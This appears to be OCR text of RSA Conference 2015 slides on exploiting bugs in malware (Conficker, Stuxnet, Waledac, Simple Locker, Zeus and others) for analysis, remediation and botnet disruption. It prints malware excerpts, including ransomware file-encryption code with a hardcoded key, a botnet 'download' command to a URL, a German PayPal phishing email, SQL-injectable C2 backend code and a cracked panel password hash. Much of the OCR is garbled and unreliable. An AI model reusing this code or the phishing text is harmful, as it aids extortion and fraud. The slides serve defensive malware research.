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Status Quo — Defender’s Dilemma

¢ Asymmetry of cyber attacks
¢ Single mistakes lead to compromises

¢ One successful intrusion is enough
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Everybody Makes Mistakes.
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esp, 14h

Best Antivirus 2011 N deeopa ‘

cmp [ebp+var_8], @
jz short loc_LL2EBSB
T L
Pt v
+ Fake Antivirus Malware Mo i ol

mou ecx, S00ABBAOL  ; Hyperwisor Bit
test ECH; PCH
jz short loc 442EEBS8 |

+ Makes your computer go crazy T
¢ Attempts to detect virtual machines to evade analysis

¢ Error in the code results in this check to be always true

#include <intrin.h>
int cpulnfo[4];

__cpuid(cpulnfo, 1);

if (cpuInfo[2] = 0x80000000) { if (cpuInfo[2] == 0x80000000) {

// hypervisor bit is set, VM detected
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Conficker — Infection Examples
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Conficker — IP Address Calculation Bug

¢ “The rand function returns a pseudorandom
integer in the range @ to RAND_MAX.”

¢ RAND_MAX is defined as the value ex7fff.

Source: http://msdn.microsoft.com/en-us/library/2dfe3bzd%28VS.71%29.aspx

BN
loc_378639:
call ds:rand
mowv word ptr [ebp+arg_ip result], ax
call ds:rand
cmp byte ptr [ebp+arg ip result], BBh
mow word ptr [ebp+arg_ip result+2], ax
jb short loc_ 378639
T T
next_ip_lower_word = rand()
next_ip_upper_word = rand()

i
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Conficker - IP Address Calculation Bug

As a result, Conficker scans only

less than one quarter

of the whole IPv4 address range!

- RSAConference?015 - 9



il ea = 1
Stuxnet — Installation Routine e e
; void _ cdecl CheckOsUersionAndStart()
CheckDsVersionAndStart proc near
UersionInformation= _OSUERSIONINFOMW ptr -114h
push ebp
. g . - movw ebp, esp
¢ Dropper targets specific Windows versions TR A
(5 < version AND version < 6) Tall  erhetvereiontay o lon-duosversioninfosizel, 11
§§St g;:;‘tei:cretjﬂﬂmz:&:z .
¢ Second condition is alway true o =
(5 S VerSion OR VerSion S 6) gznnlg g;gg;uiziigziqggg?ggéon.dlellatFormId], UER_PLATFORKM_WIN32_ NT
E@\@ . ‘ . . .
void CheckOsVersionAndStart(void) { inn £§35§"i§§i32525%53?“""'"“"aj'"""m"]’ °
struct _OSVERSIONINFOW OsVersion; - ¥
ol et (=]
cmp [ebp+VersionInformation.dwHajorUersion], 6
OsVersion.dwOSVersionInfoSize = sizeof(OsVersion); ja short locret 10091232
. . . a5
if ( GetVersionExW(&OsVersion) s
&& OsVersion.dwPlatformId == VER PLATFORM WIN32 NT call  Install
&& (OsVersion.dwMajorVersion >= 5 || OsVersion.dwMajorVersion <= 6)) .I.J.'. o 1 .
Install(); "= |
} locret_186881232:
leave
retn

CheckDsVersionAndStart endp
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Turn the Tables on the Attackers.
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Goals

Tracking down of individuals

v
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+ Attribution Effort
¢ Estimating attack impact Wl

_ Analysis Passive
+ Enhanced detection
¢ Incident recovery Remediation Reactive
¢ Live tracking of new campaigns Disruption SiaEEive
O
*

Disarming attacker infrastructure

=

wa
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Native Language Spam

= Betreff: Vorsicht! lhr PayPal-Konto wurde begrenzt!
Von: Sicherheits-Center <service@verification.fr>
Datum: 08.08.2009 05:47
An: service al.de

PayPalhttp: //www.globecharge.com/contents/media/secure-corrected. jpg
<http://2000serviceclientele. eq2. fr/Security/de/www. paypal. de=ActivatSaccount- 25858800054898995365389741 XKEGFRY

Sehr geehrter PayPal:

Achtung! Ihr PayPal-Konto wurde begrenzt!

Im Rahmen unserer MaBnahmen zur Sicherheit werden wir regelmdfig auf die
Tatigkeit der ecran PayPal zu erfahren, haben Sie vor kurzem kontaktiert,
nachdem ihm die ein Problem auf Ihrem Account.

auf die Informationen von Ihnen aus folgenden Grinden:

-Unser System hat eine ungewbhnliche eine Kreditkarte mit Ihrem PayPal-Konto.

Ihr Konto aktivieren
<http://2009serviceclientele.eq2. fr/Security/de/www. paypal. de=Activatéaccount - 25858800054998995365389741 XEGFRY

Mit besten GriBen,
PayPal Email ID: 5138-8872
Bundesland der Prifung der Konten von PayPal.

Der Corp Copyright 1999-2009 PayPal. Alle Rechte vorbehalten.
k. b

<http://translate.qoogle.fr/translate s?hl=fr&sl=fr&tl=defq=Cordialement%2C&source=translation link>

| J
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Left-Over Debug Messages

¢ Language artifacts can help with attribution

&_Debug¥iew on 4} SECLAE (local) i ] B34

File Edit Capture Options Computer Help

FEHE | & - A EBT| 7 | &4

#f | Tz I DelbucPrint | Y
1 L} = 1

.0ooooooo What is problem?

00065193 [DispatchIoctl]
.0oog9s508 [DispatchIoctl]
00070624 [DispatchIoctl]
00071713 [DispatchIoctl]
.ooo7zTes [DispatchIoctl]
00073864 [DispatchIoctl]
.0oo74954 [DispatchIoctl]
00076015 [DispatchIoctl]
.ooow?i0s [DispatchIoctl]
00075194 [DispatchIoctl]
.0o079z58 [Dispatchloctl]
00050545 [DispatchIoctl]
.0oos1407 [DispatchIoctl]
.0oosz497 [DispatchIoctl]
00033555 [DispatchIoctl]
.0oos4545 [DispatchIoctl]
.0ooas7os [DispatchIoctl]
.0oose799 [DispatchIoctl]
00037560 [DispatchIoctl] -

h3 RSAConference?015
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Kelihos — Hidden

Gems

C:~Documents and Settings“analystxDesktop>document .exe

C:\Documents and Settings>analysts\Desktop*document.exe ~loggs?9

C:“Documents and Settings“analyst:Desktopr>

-83.2815 11:
-83.2015 11:
23.93.2815 11

-B3. 2315 iz

client:
client:
client:
client:
client:
client:
client:
client:

client:
client:
client:
client:
client:
client:
client:
client:

-2815 11:

ABBABOE6,.
3. 2315

I

Client B.8.48 started.
G8: 45
L8:45
:58:45

Looing for old client...

58:45% Loaded hootstrap list:
HAA-BRER—PRRE—-ARRA-ARRRARERBRER
HHE-BREH—-BARE—-B0RA-BRBRAREROREA
HAR—-ARAA-PARE—-ARRR-ARRARRARAAAA
ARA-ARAR-PARE—-ARRA-PRRAARARAAAR
HAA—-BRER—-PRRE—-ARRA-ARRRARERBRER
HHE-BEEH-BOEE—-BBRE-BEBEEEEROEER
HHE-BREH-BORE—-B0RR-HEBRARER0RAEA
ARA-ARAR—PARE—-ARRA-ARRAARARARAR
ARA—-ARAR—-PARA—-ARPA-ARRARPRARBAAA
HAA—-BRER—-PRRE—-ARRA-ARRRARERBRER
HHE-BREH—-BARE—-B0RA-BRBRAREROREA
HAR—-ARAA-PARE—-ARRR-ARRARRARAAAA
ARA-ARAR-PARE—-ARRA-PRRAARARAAAR
HAA—-BRER—-PRRE—-ARRA-ARRRARERBRER
HHE-BEEH—-BEEE—-ARRE-BEBEEEEROEER
HHE-BREH-BORE—-B0RR-HEBRARER0RAEA
ARA-ARAR—PARE—-ARRA-ARRAARARARAR
ARA—-ARAR—-PARA—-ARPA-ARRARPRARBAAA
HAA—-BRER—-PRRE—-ARRA-ARRRARERBRER
HHE-BEEH-BRRE—-B0RR-HEBRAEARREAA

58:45 [MAIN]'Lets talk’

95.155.66.4:88 lst_act=81

11:52:85 [MAINIFailed to connect to client:

202.144.33.227:80

lst_act=01.

=10 %]
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[volLooing for old client...

Timing zonelfind_and_kill old _clients] ms=38
Config loaded Ok. own_id=aB?b8acd—7ch6—42d3—-afB?-fihd4cala3d?

25.155.66.4:80
77.41.108.12:80
178.209 121 .22:88
94.178.1.24:88
74.242.153.27:88
213.231.56.37:80
124.125.27.46:80
95.168.185.46:808
62.205.145.82:88
124.125.64.88:88
75.1608.143 .95 :80
46.8.25.96:80
83.6.187.111:88
85.204.200.123:88
?5.82.161.198:80
72.41.245.218:80
?7.88.227.222:88
282.144.33.227:88
62.84.55.237:80
2.60.72.246:80

2815 11:58:45 Starting in non—-router mode...
2815 11:58:45 Starting anmp+http net server
started!?

2815 11:58:4% [MAIN]Starting handshake loop, routers = 2@,
2015 11:58:55 [MAIMIFailed to connect to client:
.91.1978 @1i:

H1.1978 61:80:80

BBBBBBBE BUP0-BBEE-BBEBE—6
live_tm:

da_hd.m

T
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Energetic Bear — A Russian APT

¢ Exfiltration data is cached locally, encrypted with RSA

¢ Private key structure

0Xx00000000 e7 90 31 c3 94 ef 9c 3a 2f fa ce a5 15 al a@ 36 |..1....:/...... 6|
0x00000010 Od f6 d3 c8 8a Of 3 2d 7e 43 93 31 2d f8 a6 cd |....... -~C.1-...|
stores a” parameters 0x00000020 e4 05 80 9b e4 fe 67 47 e 38 21 16 5e 69 da 76 |...... g6.81.7.v|
0x00000030 93 9a 6f 72 e8 80 10 d8 96 69 4c 58 56 d5 65 6a |..or..... ilXV.ej|
0Xx00000040 ©b a6 bc b2 2a 54 eb 6c ce f7 86 30 c2 ab 53 86 |....*T.1...0..S.|

0x00000050 6f b4 72 2b 65 7c fe @d c8 49 bb f5 cf 50 a2 4d |o.r+e|...I...P.M|

‘ PUbIlC key Can be 0x00000060 12 e3 01 bd fb ce ff f4 53 cb 6d 91 bd 87 40 cd |........ s.m...@.|

0x00000070 ©5 38 d6 @e ac a8 c9 @3 fa 1f 2e eb d2 dc bf 9f |[.8.............. |

reconstructed Sublic exponent:

65537

0Xx00000000 a4 2a 47 fd 7e 93 38 do

- . 0Xx00000010 72 65 fO d3 15 7e 25 4a
forenS|C anaIyS|S 0x00000020 3d fc €0 a6 a4 fb ef 40
0x00000030 9a ae 3c 20 dc do le 21

0x00000040 ca 5c d7 ca @8 7c 30 6d

0Xx00000050 37 fa d9 ec 2f 0a 44 b5

0Xx00000060 f1 90 59 €9 9b b4 10 f5

0Xx00000070 al 78 a6 30 71 d5 18 f5

¢ Comes in handy during exponent:

H
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Storm Worm — A Custom HTTP User-Agent

¢ Original Storm Worm, 2008

GET / HTTP/1.1
Host: 127.43.2.101

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1921)

¢ Easily detectable, but they learned their lesson...

¢ Modified version, April 2010

GET / HTTP/1.1
Host: 127.43.2.101

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1) | |

iy RSAConference?015 .
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Conficker — A True Classic

+ 4 different versions
¢ Each version removes all previous ones

+ Uninstall routine in last version is a blueprint for a removal tool

kil e B3

Ae87¥3932

Ae873932 loc_873932:
00873932 1A0 xor ebx, ebx
A0873934 1A0 inc ebx

ectedstate

8887393A 1A0 call delete previous version |

Aagy3I0IF TA0 call installation

18 RSAConference?015



Simple Locker

Locks the phone’s screen
Ransom payable within 24h

¢
¢
¢ C2 server hosted on TOR hidden service
*

Encrypts documents, images, movies

adb@generic:/sdcard # 1s -1

-rwxrwx--- root sdcard_r 16 2014-06-05 14:58 test.docx.enc

-rwxrwx--- root sdcard_r 16 2014-06-05 14:53 test.jpg.enc

-rWXrwx--- root sdcard_r 0 2014-06-05 14:53 test.mp3

-rwXrwx--- root sdcard_r 16 2014-06-05 14:58 test.mp4.enc

-rwXrwx--- root sdcard_r 16 2014-06-05 14:58 test.pdf.enc

-rwWXrwx--- root sdcard_r 16 2014-06-05 14:58 test.png.enc
19
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BHumaHee Baw TenedoH
3a6nokupoBaH!
YcTpoiticTBO 3a6/10KMpOBaHO 3a
NPOCMOTP U pacnpocTpaHeHne
AeTcKoln nopHorpadum,
300(pMNUK U APYTrUX N3BPALLEHNNA.

[na pa36nokUpoBKWM BaM HEOBXOQUMO
onnatutb 260 MpH.
1. Hangute 6nKanLLIMK TEpMUHAN
NOMONHEHMA cYyeTa.
2. B Hem Hangute MoneXy.
3. Beegute 380982049193.
4. BHecuTe 260 rpMBeH U HaOXKMUTE ONNaTuThb.

He 3abyaTe B3ATb KBUTaHLMIO!
[Tocne NOCTyNAeHMA oNNaThbl Balle
YCTPOWCTBO ByAeT pa3bnoKMpoBaHo B
TeyeHuu 24 4yacos.
B C/TYYAM HE YMJIATbI Bbl MOTEPSIETE HA
BCErQA BCE JAHHBIE KOTOPBIE ECTb HA
BALLEM YCTPOWTBE!

RSAConference?015 i
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Simple Locker — Encryption

+ Encryption of files is where it hurts

public void encrypt() throws Exception {
AesCrypt localAesCrypt;
Iterator locallterator;
if ((!'this.settings.getBoolean("FILES WAS ENCRYPTED", false)) && (isExternalStorageWritable())) {
localAesCrypt = new AesCrypt("jndlasfe84hr™);
localIterator = this.filesToEncrypt.iterator();

}
for (55) {
if (!localIterator.hasNext()) {
Utils.putBooleanValue(this.settings, "FILES WAS ENCRYPTED", true);
return;
}
String str = (String) localIterator.next();
localAesCrypt.encrypt(str, str + ".enc");
new File(str).delete();

20 ' ' RSKConferénce?mS
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Simple Locker — Decryption

¢ AES is a symmetric cipher — recovery trivial

public void decrypt() throws Exception {
AesCrypt localAesCrypt;
Iterator locallterator;
if (isExternalStorageWritable()) {

localAesCrypt = new AesCrypt("jndlasfe84hr™);

localIterator = this.filesToDecrypt.iterator();

}
for (55) {
if (!localIterator.hasNext())
return;
}
String str = (String) localIterator.next();
localAesCrypt.decrypt(str, str.substring(®, str.lastIndexOf("."));
new File(str).delete();
}

' 21 ' ' ' RSKCohférénce?mS
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A

Zeus Dropzone

W) #RSAC

[]
% -C0a
phpiiyidemin

* aga1580 (10)

= cpdb (15]

« infarmaticn_schema (28]
« mysgl (23)

» phpmiyadmin (8]
» wabauth (1)

Please select a database

Eile .gm \iew Higtery Bookmarks Tools Help

flacalhost ...

£ localhost | phoMysdmin 3,13, - Mozilla Frefox

i

[ Mast visted v @) Gatting Started  [EjLatest Hoadlnes v

+
21 Server: localhost

&Ilneq.r_l_
Actions
MySQL localhost

@ Create new database @
Collation

S| Create
3 MySqL connaction callation: | utfa_general_ci s o
Interface
e Language @: | English &
& Theme | style:  Gnginal <
9!

b Custom color: @7 Roset

b Font size: B2 2

MySQL
B server: locathost via TCPP
8 server version: 5.1.33-community
¥ Protocol version: 10
» user: root@lacathost
[ MysaL charset: UTF-8 Unicode (utf)

Web server

¥ Apache2.2.11 (Win32) DAVI2 mod_ssi2.2.11
OpenSSLI0.0.8i PHPS 2.9

» MySoL client version: $.051a
b PHP extension: mysgl

phpMyAdmin

L iiacuine infarcaakinn: 313 1

Your configuration file contains settings (root with no password) that correspond to the default MySQL privileged account. Your MySQL
server is running with this default, is open to intrusion, and you really should fix this security hole by setting a password for user ".root'.

phpMyAdmin

Your canfiguration file contams settngs (raot with no passwaed) that carrespand to the default MySOL praaleged account. Your MySOL
server is running with this defauk. is opan to intrusion. and yau really should fix this security hale by setting & password for usar ' root'

l

= Open new phatMyAdmin window

23
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What's In there?

Table Action
botnet list # [
botnet reports = o % | [

X
X

Type
My SAM

Records!
a1

0 MylSAM

" Showing rows 0 - 0 (1 total, Query took 0.0004 sec)

SELECT *
FROM "cp_usars
LIRIT B8 , 28

Profiling [ Edit ][ Explain SQL ][ Cre

#RSAC

N
N

RSAConference?015

Show : |30 rowl(s) starting from record # |0
in | horizontal % | mode and repeat headers after 100  cells
+ Options
id name pass language flag enabled comments
S X 1 admin 909eldde36b279e64d3e0207bcf4545¢c en 1 Default
user
botnet scripts ¥ @ X I MylSAM
botnet scripts stat = B 3 @ X 6 MylSAM
Cp_users i5 g #= | X 1 MylSAM B
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Cracking the Control Panel Admin Account

<« C' [ https://www.google.com/?q=909e1dde36b279e64d3e0207bcf4545¢

-

GO gle 90%e1dde36b279e64d3e0207bcf4545¢

+ Plaintext password is just -
an Internet search away —

6 results (0.12 seconds)

Cockies help us deliver cur services. By using cur services, you agree to our use of cockies.

+ Don'’t even have to consult v [

909e1dde36b279e64d3e0207hcf4545¢ - mdScracker.org

A md5cracker org/decrypted-md3S./909e1dded6b279e64d3e0207bcf4545 . -
al n OW a e S The decrypted value behind your md5 hash of "909e1dde36b279e64d3e0207bcf4545¢"

can be a password or something else. In the most cases the valueis a.

md5.db30.com - 809e1dde36b279e64d320207hcf4545¢
b . hitps//md5.db30.com/909e1dde36b279e64d3e0207bcf4545¢/2b2e259ca .
’ L aC 0 S e C u rlty g Ive S showlhide md5: 909e1dde36b279e64d3e0207bcfd545¢ ntlm:
ffe5b1ceb0887519366696df20fb5feB shal

2a86942804b68830c addb7eeB4ab578e25e281a1

full access over the botnet

www.md5this com/list php?page=54913&key=1&author_.

May 17, 2010 - 50 posts

Added: Men 17th May 2010 07:33 am, Hash: 909e1dde36b279e64d3e0207hcfd545¢
Plain: stronzone. Added: Mon 17th May,2010 07:33 am ...

Seite 1050 - MD5 Passwdérter entschilisseln =
md3-passwort.de/md5-hash-datenbank/.. .s/1050 ~ Translate this page
stronzone, 909e1dde36b279e64d3e0207bcf4545¢. stronzzo666,

8b99f9227fc 1fd4fe50fa876f6717f3d. stroodle, 9230b3c 465d3ab64d9688a07febeelab.

STRONZONE - Mp3 Download (5.31 MB) - Stafaband.info
www.stafaband.info/download/mp3/lagu_stronzone/ - Translate this page

mp3 youtube com. [watch & download] - Lo Stronzene. Click Download to save Lo
Strenzone mp3 yeutube com. 909%e1dde36b279e64d3e0207bcf4545¢ ...
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Yaludle

Banking trojan

¢
¢ Built-in user-mode rootkit
¢ Man-in-the-browser

¢

Displays fake account data

#RSAC

€5 L e T [T ————

X g

% (g Share Browser Weblx =

&
Deipheson  Delph Messe

View Your Accounts
Gotar | Account Summary [x]

Username:

Password:

Usemame | Possword lisip

Mewd 1o 5ol up oaling access?
Sign Up Now or Take a Toar

Account Services
Try My Money Map (I's Fres!)
&t Up Accoant Alens

Find ATMS/Locations

Fraud Prevention &
Online Security

Read Our Ouline Security Gua

Toqether we'll gofar

G o A

£n Espaiiol

Pussonal Small Business

Y

Commercial Aboul Us

Checking with tools designed to help
‘ you stay on track and reach your savings goals
£l

Gt Started

Banking Loans Investing & Insurance

tirement

Oniine Danking

Home Lending

Mobile Banking Home Morlgage Erug e L Service
Bl Pay Home Lauity The Private Bank
Checking  Opan In Minub Student Loa My

Personal Loans

Autn | cans

Open an Account Check Today's Rates
Checing =B Hortgage

Applications
Firy al

- Open 3 savings acecunt
" g @ o it

i+
Sign Up Now

26
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Yaludle Backend — Sanitizing User Input

// Gettin all information //Replace symbols i
$id = $ GET['id']; $id = ereg_replace("<","&#8249",%id);
$httpport = $ GET[ "httpport']; $id = ereg_replace(">","&#8250",%id);
$socksport = $ GET['socksport']; $id = ereg_ replace("\"" "&#8221",%id);
$uptimem = $ _GET['uptimem']; $id = ereg_replace(";","",%$id); 1
$uptimeh = $ GET['uptimeh']; $id = ereg_replace("%","",%$id);

$param = $ GET['param']; $param = ereg_replace("<","&#8249",%$param); l
$ver = $ GET['ver']; $param = ereg_replace(">","&#8250",$param); |
$uid = $ GET['uid']; $param = ereg_ replace("\"" "&#8221",$param);
$wm = $ GET['wm']; $param = ereg_replace(";","",$param); |
$lang = $ GET['lang']; $param = ereg_replace("%","",$param);

//$ssip = $ GET['ssip'] ;

$ip = getenv("REMOTE_ADDR");

$real ip = getenv("HTTP_X_ FORWARDED_FOR");

$browser = getenv("HTTP_USER_AGENT"); l

Source: http://software-security.sans.org/blog/2011/06/13/spot-the-vuln-feathers

21 RSAConference?015
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Yaludle Backend — Do Whatever You Want

$1link = mysql _connect($mysql _host, $mysql login, $mysql pass)
or die("Could not connect: " . mysql _error());
mysql_select_db($mysql db, $link)
or die("Could not select : " . mysql _error());
$query = 'SELECT COUNT(*) FROM socks where uid = "'. $uid ."'""';
$result = mysql query($query, $link)
or die("Could not execute: " . mysql _error());
$count = mysql result($result, 0);
if ($count == 0) {

$query = "INSERT INTO socks VALUES ("'.$uid.'", "'. $real ip . '", "'. $httpport ."'", "'.
$socksport . "", "'. $sql uptime .'", "'. mktime() .'", "@")";

$result = mysql _query($query, $link) or die("Could not execute: " . mysql _error());

} else {

$query = 'UPDATE socks SET “ip° = "'. $real ip .'", “hport’ = "'. $httpport .'",
sport® = "', $socksport .'", “uptime’ = "'. $sql_uptime .'", “update’ = "'
mktime() .'“ WHERE “uid® = "'.$uid.'"";

$result = mysql _query($query, $1link) or die("Could not execute: " . mysql _error());

$query = "'COMMIT';
$result = mysql _query($query, $link) or die("Could not execute: " . mysql _error());

}
mysql close($1link);

Source: http://software-security.sans.org/blog/2011/06/13/spot-the-vuln-feathers 28 RSKCO N ]Ce rence ? O 1 5
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Dendroid

_..«...;m_"l Sinlel

\ B IEBAILBIANEII |

+ Construction kit with builder, goes for $300 s

+ Control panel Selected: 1

¢ Repackaging of spy functions into existing apps

¢ Record phone calls Sroen On

Record Audio
Time in MS Record Video ~

# UID Status Last Updated Cell Info Location m

Calls On
22  bed0eB8Bd77bdfb23 Online 2013-09-18 12:11:09 14129269400 (40.44, -79.95) Nexusd 1

¢ Remotely activate microphone and camera

¢ Spy on SMS, call, browser history

Upload Files ~

21 cf973edb093a6132 Offline 2013-09-14 18:10:54 155655215554 (0.00, 0.00) sdk
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Dendroid — “Prepared Statements”

¢ Database access can be vulnerable to SQL injection

$Sql = "UPDATE bots SET uid='$uid' WHERE “id™ = "$id'"; i
$result = $db->query($sql);

¢ Prepared statements differentiate between SQL and parameters

$sql = "UPDATE bots SET uid=:uid WHERE “id" = :id"
$statement = $db->prepare($sql);
$statement->execute(Array($uid, $id));

¢ Dendroid code

$sgql = "UPDATE bot SET device='$Device', version='$Version', lati="$Lati', ";
$sql.= "longi="'$Longi', provider='$Provider', phone='$PhoneNumber',";
$sgl.= "sdk='$SDK', random='$Random' WHERE “uid" = "'$UID'";

$statement = $connect->prepare($sql);

| $statement->execute();
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#RSAC

Waledac — Botnet Architecture

¢ Active since 2008 (until Feb. 2010)

L
- Fast-Fl
+ Decentralized structure LT LT EE s
|
- s A
¢ Multiple tiers : :
Y |
I | | - - = —
Bot | ————> Bot I ° |
Bot I I C2 Proxy ]
I | |
Ll L2 e ‘0
! ==—d=—3 (C2 Proxy =3 (2 Backend
@ e I
Bot Bot I Bot I
I |
Bo? I @ : C2 Pro?
Bot : Bot :




#RSAC

Waledac — Protocol Layers

Certificate:
Data:
. Version: 3 (0x2)

¢ RSA-encrypted session keys Serial Nunber: 0 (@x¢)

Signature Algorithm: md5WithRSAEncryption
Issuer: C=UK, CN=OpenSSL Group
. Validity
< MUIUpIe StaCked Iayers Not Before: Jan 2 @4:24:10 2009 GMT
Not After : Jan 2 04:24:10 2010 GMT

Subject: C=UK, CN=OpenSSL Group

Subject Public Key Info:

. . Public Key Algorithm: rsaEncryption

application/x-www-form-urlencoded RSA Public Key: (1624 bit)

Modulus (1024 bit):
00:d4:5a3:7d:1f:bc:20:99:f4:77:6a:0a:04:25:ca:
71:29:59:3d:8d:61:c8:0e:9f:a2:c1:74:d8:6b:5f:

Base64 e7:7b:47:13:d2:c1:9e:b@:c6:44:6d:21:9d:31:67:

7e:86:43:c2:b4:fe:42:fb:27:fd:04:95:03:bb:d3:

43:82:ca:6a:47:b7:fd:de:bf:a9:ea:71:ed:5e:69:
3c:0b:53:fa:a4:d4:50:87:ed:5d:02:73:4e:47:a4:
_ . a8:5e:ab:0c:fd:01:3c:5e:15:05:22:c4:63:f6:a6:

AES CBC’ IV.@ 24:76:99:27:2a:e7:93:27:ad:b7:fd:1c:0f:e3:85:
f0:d8:¢8:39:32:11:c8:41:19

Exponent: 65537 (0x10001)

BZip Signature Algorithm: md5WithRSAEncryption

2e:e3:f8:b4:0d:ee:58:6e:25:51:12:9a:3e:4d:62:6b:c8:e6:
d8:3a:83:19:17:64:7€:02:45:11:00:b0:82:3d:42:1a:61:78:
67:0c:44:1f9:bb:02:da:bd:6e:e4:45:dd:af:02:4e:70:62:41:
ef:81:67:17:a8:6c:41:92:a5:20:41:ee:e6:5b:38:22:b4:41:
26:de:f0:ec:2d:2c:e5:56:d4:05:22:40:bb:64:3d:ce:a4:c8:
dd:76:b6:23:b8:2b:69:14:af:70:10:d8:7b:03:f6:b8:c2:90:
02:94:14:18:99:4d:cb:6e:8a:7a:71:49:05:b1:b9:2f:dc:0e:
bl:c7
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#RSAC

Waledac — Session Keys

WaleDecoder
F.Leder - T. Werner

¢ Two hardcoded keys ——

Length: 692
Llme<trgetheyd S v 2T w1 Te2Tef46E£1118alfd32afl 2elelabel 9/ 1=<r=0< /< propsi<p n="cert"s>-——--- BEGIN
F MITBvjCCASesAuTEAgTEADANE gk ghkiGow0BAQQFADA 1MQsWCOYDVOQGEWIVSZEY
¢ Exchan ge of rel ay/ peer — list MBCA L E L4615 FUTTVS Eomt LeDACPwOVODE i T LITNe PeONOTEN NSy
MzI INTHaNCUxCzATBgHVEAYTALVLMRYwFAYDVOQDEW] PeGVul L NMIE dyb 3VuMIGE
MAOGE$qG5Tb3DOEBAQUALAGNADCEL (XBYCH FoGullx IQLUIVI IEGXhrw el IbN0gw
. . 20pShaX1/W3yBdo1E /Kepalxve7Ci Thugu3RHAVE £ 1 6WYEX 6D 3] s0E InBXT4a3E0
‘ CI |e nt R S A p u bI |C key to S e rver cl¥mlg7A7 0641 RlvhaT SELuS4cky Fax X IuTO evtU T 4HFbovllo+ £ RS 2k aBKnVo /T
dMbBulkk 547 sHVQ IDAQABMANGE SqG4 Th3DEEEAUALAGEAE SEVPROGLywmi friydZ
z30VERal ze TREWGTDNAGIEP P34 roScHEITI T oz I9neCYdG9Yvoodr PSHRIUBSE
VAL 1B4DTEa+0CKATE 2 0aghllz99 ke L GpewZHOdn B dx LAVYOR teAf dbH+hi olfB
11EVOVDZPZ0d vemP Tab it

¢ Session keys oo CERIIFLCATE -

+ Exchanged with RSA public key

a=_wAAAr(shlwGeawATRPS ) nSVico SEv3Te g pHbpBCUR glDO0Pwl6Hk sy CEz I 3vup 3-ELiPInd S 50T £
FlzRFsKezN40vqimmx JETRudts INFnrHud POVbOxnl_hUbBLWx 3br Inrr0T-usFuwlk 2k 7 tIKTwRECX2302
B 217cwEz42D1W_oTIkw3oVEwlwb T 4gik 2XCTYyEP7 SROENadRuaduzn I 2D dngy 3TSAR]_1-xxSWadGoWET
’ S e S S I O n key fro m Se rver eTH-4dttu_T05211vluTG-InPgkyunbXLUVh JET aTkNS0_UCHOMEHLACY 3 3PEQx e AvLEK] AP LywRDoyF

toG2QtoYqUP-_6brXuotg5SFREP44sUNiDEhe 2bAuD Jvtn(_MuldK3WIFBQuvI£6BVU7 cAlKOTThG0RE oz
wpALiyEYhltixFMZDIhJzvdR1cZKY71ZZe0RE TREtwl ) Wi Y cgHiHkNal sxWak RYpDWdiHTPcQRVgtwe_
ae5__x01sRmzGEciz0hYPny06vndoWhIplbsoEndEL_0cUDEL jvy0gPw07cGElevHvEgl 6aXfkriidby ¢
8FuBA3Sb_2Miqvdo0siiR1VAGEPNIUHBROYFNUGU306Tyt5B9gky_bl2ul SeqAqdvgPbxBh54160hhqyIc

New RSA -enc Pypted sess ion key de C r\y pt S -to : < 98 3 7 b 5 d 7 r5HEHp- 1Kz 1pZIgZ 6T 3 THOFqAJ 049k SwBATPxExalFCEOv-HEW] Ina2xxcliu_VaF2]ghialdiDXsZPlct

U-1gaBUKz SRP6E 1HWEE gAD IEugHOES0_D7 gk rweFlDcriXKUSmihcAGDRVEHSuBAW] IG1MWG1GX_JdH
New RSA-encrypted session key decrypts to: <9837b5d7| ciimmmmueonrerormasomnrasstrmm o boaans, o o AR
New RSA-encrypted session key decrypts to: <9837b5d73pBaee70>
New RSA-encrypted session key decrypts to: <9837b5d73b82e670>

New RSA-encrypted session key decrypts to: <9837b5d73b8ae670>




#RSAC

Waledac — Binary Updates

<1lm>

<v>27</v>

<t>notify</t>

<props>
<p n="ptr">bonn-007.pool.t-online.de</p>
<p n="1ip">93.137.206.86</p>
<p n="dns ip">216.195.100.100</p>
<p n="smtp_ip">209.85.201.114</p>
<p n="http_cache_timeout">3600</p>
<p n="sender_threads">35</p>
<p n="sender_queue">2000</p>
<p n="short logs">true</p>

<p n="commands"><![CDATA[312|download|http://orldlovelife.com/mon.jpg]l]></p>

</props>
<dns_zone></dns_zone>
<dns_hosts></dns_hosts>
<socks5></socks5>
<dos></dos>
<filter></filter>

</1m>
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Waledac — Becoming a Relay

#RSAC

¢ Either provide unrestricted Internet access for more than 45min

¢ Or use the command line switch

for (i =1; i < argc; ++i ) {
current_arg_ptr = &argv[i];
if (stricmp(*current_arg_ptr, "-s") == 0) {

mode = 0;
} else if (stricmp(*current_arg_ptr, "-r") == 0) {
mode = 1;

IHE
loc_482339: R o
push offset aR
push dword ptr [edi] ; char =
call
test eax, eax
pop 13
pop 13
jnz short loc_ 482358
A J
Ll =

} else if (stricmp(*current_arg_ptr, "-update") == 0) {

if (1 < argc - 3) {
Status = 2;
DownloadAndRun(argv[i + 3);
return 0;

35

loc_482358: ; "-update”
push offset alpdate
push dword ptr [edi] ; char =

call

test eax, eax

pop ecx

pop ecx

jnz short loc_482336

RSAConference?015



#RSAC

Waledac — Attacking the Botnet

0 0 L
+ Peer-to-peer poisoning Fast-FIUX
[ DNS
¢ Man-in-the-middle attack | A
| |
A4 [
| P
I ° I
o : C2 Proxy :
i ]
. ® &
k=D C2 Proxy sssssssesansd » C2 Backend
Bot :
| ©
Bot : C2 Proxy
|
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W) #RSAC

Conficker.A — GeolLocation Lookups of Targets

+ The malware checks a potential victim‘s geographic location
¢ Public GeolP database downloaded upon startup

¢ If a system is located in Ukraine, Conficker would skip it




W) #RSAC

Conficker.A — Propagation Stopped

’ SpeCIa”y Crafted database maps | IConﬁ:kerDluwnloa:fsForIGeoIP.dat.glz,IP»\ddresslesperl-sourI
all IP addresses on Ukraine | = -
T e e E e - |
¢ Effectively stopped the malware |
from propagating won - |
i |
: | | |
||II |||||.'|||'.,
\ "
\
\'1 k".‘.l
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#RSAC

Apply

¢ Analysis
¢ Understand attacks and gain extended visibility into attacker‘s actions
¢ Check for unintended traces and artifacts (attribution, detection, ...)
¢ External interfaces, like logging and command line switches

¢ Remediation
¢ Exploit unique data patterns
¢ Leverage removal and cleanup concepts
¢ Recover status from before an infection

¢ Disruption
¢ Disable architecture
¢ Track down individuals and new campaigns

40 RSAConference?015
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#RSAC

Summary

+ Attackers exploit the asymmetry

+ All software contains bugs

¢ Defenders can turn the tables on adversaries
¢ Analysis
¢ Remediation
¢ Disruption

42 RSAConference?015 .
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